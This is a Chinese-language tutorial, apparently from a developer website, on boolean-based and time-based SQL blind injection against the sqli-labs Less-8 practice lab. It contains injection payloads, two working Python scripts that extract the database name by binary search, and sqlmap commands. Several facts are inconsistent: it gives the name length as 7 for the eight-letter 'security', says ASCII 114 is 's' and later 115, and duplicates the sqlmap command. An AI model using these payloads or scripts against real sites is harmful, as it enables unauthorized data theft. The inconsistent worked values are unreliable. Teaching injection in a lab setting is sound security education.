深入理解SQL盲注
前面和大家分享了SQL注入的介紹、聯(lián)合查詢和一些技巧、報(bào)錯(cuò)注入，那么本篇我們和大家繼續(xù)學(xué)習(xí)SQL注入的相關(guān)知識和實(shí)驗(yàn)，本篇是SQL注入中的盲注，那么現(xiàn)在我們開始ヾ(?°∇°?)??
什么是盲注？
在現(xiàn)代的web中對輸入的內(nèi)容會(huì)做很嚴(yán)格的限制，并且在默認(rèn)情況下都是不會(huì)顯示錯(cuò)誤信息，因此前面學(xué)習(xí)的聯(lián)合查詢和報(bào)錯(cuò)注入都無法利用來注入了，因此我們需要使用"盲注"來進(jìn)行SQL注入，所謂的盲注就是在服務(wù)器沒有錯(cuò)誤信息會(huì)顯示完成注入攻擊，但是服務(wù)器不會(huì)顯示錯(cuò)誤信息，我們就需要找到一個(gè)方法來驗(yàn)證SQL語句是否被執(zhí)行
SQL盲注中常用的幾個(gè)函數(shù)：
- ascii(str): str是一個(gè)字符串參數(shù)，返回值為其最左側(cè)字符的ascii碼。通過它，我們才能確定特定的字符。
- substr(str,start,len): 這個(gè)函數(shù)是取str中從下標(biāo)start開始的，長度為len的字符串。通常在盲注中用于取出單個(gè)字符，交給ascii函數(shù)來確定其具體的值。
- length(str): 這個(gè)函數(shù)是用來獲取str的長度的。這樣我們才能知道需要通過substr取到哪個(gè)下標(biāo)。
- count([column]): 這個(gè)函數(shù)是用來統(tǒng)計(jì)記錄的數(shù)量的，其在盲注中，主要用于判斷符合條件的記錄的數(shù)量，并逐個(gè)破解。
- if(condition,a,b): 當(dāng)condition為true的時(shí)候，返回a，當(dāng)condition為false的時(shí)候，返回b。
布爾盲注
這種類型的盲注依賴于頁面返回結(jié)果的單一狀態(tài)，通常只有“正常”或“錯(cuò)誤”。攻擊者會(huì)構(gòu)造一個(gè)包含布爾表達(dá)式（如`IF`條件判斷）的SQL查詢，然后檢查頁面是否正確地返回了正確的結(jié)果。如果正確，那么可能意味著查詢成功訪問到了數(shù)據(jù)庫中的數(shù)據(jù)。
最常見的盲注的驗(yàn)證方法是，構(gòu)造簡單的條件語句，然后根據(jù)返回的頁面是否發(fā)生變化，來判斷SQL語句是否被執(zhí)行，我們可以利用sqli-labs靶場中的第8關(guān)來演示一下：
這里傳入的是and 1=1 是一個(gè)恒真的值，因此頁面是下面這樣的：
然后再傳入一個(gè)and 1=2 是一個(gè)恒假的值 ，因此頁面是下面這樣的
可以看到，這里就是兩個(gè)完全不同的兩個(gè)頁面，也就說明是存在SQL盲注的漏洞點(diǎn)的，這種利用注入 的方式也就是布爾盲注
下面我們就可以使用下面這三種方式來進(jìn)行布爾盲注
手工注入
利用上面的那些函數(shù)我們可以通過不斷的變換范圍來觀察頁面的響應(yīng)來不斷判斷，直到判斷到最后可以確定到一個(gè)值，比如我們可以先使用 length函數(shù) + 二分法來嘗試一下：
?id=1' and (select length(database())>1) and 1=1 --+ true ?id=1' and (select length(database())>10) and 1=1 --+ flase ?id=1' and (select length(database())>5) and 1=1 --+ true ?id=1' and (select length(database())>6) and 1=1 --+ true ?id=1' and (select length(database())>8) and 1=1 --+ flase
通過頁面的不同響應(yīng)頁面來判斷數(shù)據(jù)庫的長度是否是我們所指定的范圍，最終可以得到數(shù)據(jù)庫的名稱的長度為7，得到了數(shù)據(jù)庫的長度后，我們就可以再利用ascii函數(shù)+substr函數(shù)來修改字符串的范圍，最終判斷數(shù)據(jù)庫的各個(gè)字符的ascii的值，最終就可以得到完整的數(shù)據(jù)庫名稱，比如：
?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true ?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ flase ... ?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true ?id=1' and ((select ascii(substr(database(),1,1)))>116) and 1=1 --+ false
根據(jù)不斷的變換范圍，最后得到了第一個(gè)字母的ascii碼大于113但是不大于115，因此，它的ascii碼就是114，對照ASCII碼表，得到第一個(gè)字母為‘s’。同樣的方法，我們可以變化substr（）里面的第二個(gè)參數(shù)分別為2,3,4,5,6,7，最后可以獲得接下來的其他七個(gè)字母，最終得到“security”。
這里就成功的注入出了數(shù)據(jù)庫名稱，然后通過這個(gè)方法，我們可以首先通過information_schema庫中的tables表查看我們注入出的數(shù)據(jù)庫下的所有的表的數(shù)量，然后我們按照limit的方法選取某個(gè)表，通過length得到它的名字的長度，隨后就可以得到它的完整表名，同理通過columns表獲得某個(gè)表下的所有字段數(shù)量，并且獲得每個(gè)字段的名稱長度和具體名稱，最后就是查出指定表下的記錄數(shù)量，并且根據(jù)字段去獲取某條記錄的某個(gè)字段值的長度，隨后就是是獲得該值的內(nèi)容。
但是這樣的手工方法會(huì)非常的費(fèi)時(shí)費(fèi)力，我們可以使用python寫一個(gè)二分法查找的布爾盲注腳本來方便使用：
使用python腳本
注入出數(shù)據(jù)庫名
腳本：
import requests
url = "http://127.0.0.1/sqli-labs/Less-8/"
def inject_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
params = {"id": payload}
r = requests.get(url, params=params)
if "You are in..........." in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
后面的表名，列名，數(shù)據(jù)，都可以使用類似的腳本注入出來，這里就不演示了
使用sqlmap
使用sqlmap進(jìn)行時(shí)間盲注就非常簡單了，直接將url輸入到sqlmap中即可
sqlmap.py -u sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id=1
時(shí)間盲注
這類盲注涉及使用具有延時(shí)功能的函數(shù)，如`sleep()`，來探測服務(wù)器何時(shí)處理完請求。攻擊者可能會(huì)設(shè)置一個(gè)延時(shí)，觀察服務(wù)器是否按照預(yù)期的時(shí)間間隔回復(fù)。如果服務(wù)器超時(shí)未響應(yīng)，這可能表明存在漏洞，并且可以進(jìn)一步嘗試其他查詢。
手工注入
因?yàn)轫撁娌粫?huì)回顯任何正確或者錯(cuò)誤的信息，所以我們通過時(shí)間來判斷是否存在時(shí)間盲注根據(jù)我們的輸入，來延時(shí)請求數(shù)據(jù)，觀察請求時(shí)間是否存在延長，如果存在就是存在時(shí)間盲注，這里會(huì)使用if和sleep函數(shù)來進(jìn)行判斷
if的語法三元運(yùn)算符函數(shù)
語法：IF(condition, value_if_true, value_if_false)
condition是一個(gè)條件表達(dá)式，如果條件成立，則返回value_if_true，否則返回value_if_false。
那么可以利用這一點(diǎn)來進(jìn)行時(shí)間盲注
?id=1' and if(length(database())=1,sleep(5),1)--+ 延時(shí) ?id=1' and if(length(database())=10,sleep(5),1)--+ 正常 ?id=1' and if(length(database())=7,sleep(5),1)--+ 延時(shí) ?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常
可以看到這里可以注入出數(shù)據(jù)庫的長度是7，然后就是使用ascii+sleep來注入出數(shù)據(jù)庫的名稱
?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+ 延時(shí) ?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+ 正常 ... ?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 延時(shí) ?id=1'and if(ascii(substr((select database()),1,1))=116,sleep(5),1)--+ 正常 ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 延時(shí)
可以看到注入出了數(shù)據(jù)庫的第一個(gè)字符是ASCII的值為115，對應(yīng)的是‘s’，然后就不斷變換，最終得到數(shù)據(jù)庫名為：security，那么現(xiàn)在數(shù)據(jù)庫已經(jīng)知道了，后面的表名、列名，數(shù)據(jù)都可以使用同樣的方法注入出來了
但是還是一樣這樣的手工方法會(huì)非常的費(fèi)時(shí)費(fèi)力，我們可以使用python寫一個(gè)二分法查找的時(shí)間盲注腳本來方便注入：
使用python腳本
注入出數(shù)據(jù)庫名
腳本：
import requests
import time
url = "http://127.0.0.1/sqli-labs/Less-8/"
def inject_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and (if(ascii(substr((select(database())),%d,1))>%d,sleep(1),0))and('1')=('1" % (i, mid)
params = {"id": payload}
start_time = time.time() # 注入前的系統(tǒng)時(shí)間
r = requests.get(url, params=params)
end_time = time.time() # 注入后的時(shí)間
if end_time - start_time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
后面的表名，列名，數(shù)據(jù)，都可以使用類似的腳本注入出來，這里就不演示了
使用sqlmap
使用sqlmap進(jìn)行時(shí)間盲注就非常簡單了，直接將url輸入到sqlmap中即可
sqlmap.py -u sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id=1
到此，SQL盲注的布爾盲注和時(shí)間盲注就全部演示完畢了，更多相關(guān)SQL盲注內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！
相關(guān)文章
SQL語句實(shí)現(xiàn)SQL Server 2000及Sql Server 2005日志收縮(批量)
SQL語句實(shí)現(xiàn)SQL Server 2000及Sql Server 2005日志收縮(批量)2008-08-08
SQL 超時(shí)解決方案 有時(shí)并不是設(shè)置問題
SQL 超時(shí)解決方案 有時(shí)并不是設(shè)置問題,大家可以參考下。2010-05-05
這篇文章介紹了sql條件查詢語句的簡單實(shí)例，有需要的朋友可以參考一下2013-10-10
sql server中的decimal或者numeric的精度問題
在sql server中定義列的數(shù)據(jù)類型decimal時(shí)需要制定其精度和小數(shù)位數(shù)。2009-05-05
Windows系統(tǒng)徹底卸載SQL?Server通用方法(推薦!)
卸載SQL是一件很麻煩的事,只要是重裝過SQL的人都知道,下面這篇文章主要給大家介紹了關(guān)于Windows系統(tǒng)徹底卸載SQL?Server通用方法的相關(guān)資料,文中通過圖文介紹的非常詳細(xì),需要的朋友可以參考下2023-01-01
本文主要介紹了SQL 嵌套查詢的具體使用，文中通過示例代碼介紹的非常詳細(xì)，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2023-01-01
SQLServer 表值構(gòu)造函數(shù)(Transact-SQL)的使用
表值構(gòu)造函數(shù)是一種用于在單個(gè)語句中插入多行數(shù)據(jù)到表中的語法,本文主要介紹了SQLServer 表值構(gòu)造函數(shù)(Transact-SQL)的使用,具有一定的參考價(jià)值,感興趣的可以了解一下2024-08-08
SQLSERVER調(diào)用C#的代碼實(shí)現(xiàn)
本文主要介紹了SQLSERVER調(diào)用C#的代碼實(shí)現(xiàn)，文中通過示例代碼介紹的非常詳細(xì)，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2023-01-01
該語句請慎用，被刪除的數(shù)據(jù)將不能恢復(fù)。2009-08-08
SQL Server數(shù)據(jù)庫中設(shè)置索引的策略分享
在 SQL Server 中,索引通過加快數(shù)據(jù)檢索速度在優(yōu)化查詢性能方面發(fā)揮著關(guān)鍵作用,在數(shù)據(jù)庫中設(shè)置索引的策略受數(shù)據(jù)庫結(jié)構(gòu)、表的大小和將要運(yùn)行的查詢類型的影響,以下是如何將索引應(yīng)用于這些不同類型的表的詳細(xì)分類,需要的朋友可以參考下2024-12-12